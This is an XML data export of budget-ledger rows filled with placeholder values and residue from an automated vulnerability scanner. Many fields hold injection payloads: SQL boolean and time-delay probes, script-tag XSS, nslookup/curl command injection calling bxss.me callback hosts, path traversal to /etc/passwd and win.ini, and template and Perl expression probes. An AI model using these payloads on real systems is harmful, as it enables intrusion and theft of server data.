<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1 OR 5*5=26 -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1 OR 5*5=25 -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102hz3BHhbR</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102jtVEuGIU')) OR 691=(SELECT 691 FROM PG_SLEEP(15))--</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU9978674</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>|(nslookup -q=cname hitdgypzivobw4e670.bxss.me||curl hitdgypzivobw4e670.bxss.me)</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>'"()&amp;%&lt;zzz&gt;&lt;ScRiPt &gt;YcIQ(9520)&lt;/ScRiPt&gt;</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>&amp;(nslookup -q=cname hityjantneolqfbe53.bxss.me||curl hityjantneolqfbe53.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hityjantneolqfbe53.bxss.me||curl hityjantneolqfbe53.bxss.me)&amp;`'</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>19668512</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>&amp;nslookup -q=cname hitdsgnzlqzze7bf22.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitdsgnzlqzze7bf22.bxss.me&amp;`'</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>'"()&amp;%&lt;zzz&gt;&lt;ScRiPt &gt;YcIQ(9206)&lt;/ScRiPt&gt;</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>$(nslookup -q=cname hithjfcynubcha7224.bxss.me||curl hithjfcynubcha7224.bxss.me)</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1'"()&amp;%&lt;zzz&gt;&lt;ScRiPt &gt;YcIQ(9867)&lt;/ScRiPt&gt;</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>(nslookup -q=cname hitxgcldpmftu285fa.bxss.me||curl hitxgcldpmftu285fa.bxss.me))</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>19556207</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>expr 9000740890 - 954111</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>|echo wzprgc$()\ lusycq\nz^xyu||a #' |echo wzprgc$()\ lusycq\nz^xyu||a #|" |echo wzprgc$()\ lusycq\nz^xyu||a #</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>&amp;echo fxifat$()\ eovlah\nz^xyu||a #' &amp;echo fxifat$()\ eovlah\nz^xyu||a #|" &amp;echo fxifat$()\ eovlah\nz^xyu||a #</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>echo mjmxno$()\ bvgwch\nz^xyu||a #' &amp;echo mjmxno$()\ bvgwch\nz^xyu||a #|" &amp;echo mjmxno$()\ bvgwch\nz^xyu||a #</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>19151007</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>19024517</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>941029732579</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>../../../../../../../../../../../../../../windows/win.ini</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>file:///etc/passwd</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU9518331</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>'"()&amp;%&lt;zzz&gt;&lt;ScRiPt &gt;YcIQ(9513)&lt;/ScRiPt&gt;</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU'"()&amp;%&lt;zzz&gt;&lt;ScRiPt &gt;YcIQ(9194)&lt;/ScRiPt&gt;</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>19064784</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>${9999313+9999025}</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>19922189</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>/etc/shells</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>&amp;(nslookup -q=cname hitejmleashzpb987a.bxss.me||curl hitejmleashzpb987a.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitejmleashzpb987a.bxss.me||curl hitejmleashzpb987a.bxss.me)&amp;`'</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>'.gethostbyname(lc('hitie'.'vvyctnay0e01f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(82).chr(107).chr(71).'</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>../../../../../../../../../../../../../../etc/passwd</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>(nslookup -q=cname hitrxbgptffjdc62af.bxss.me||curl hitrxbgptffjdc62af.bxss.me))</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>expr 9000561481 - 983535</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
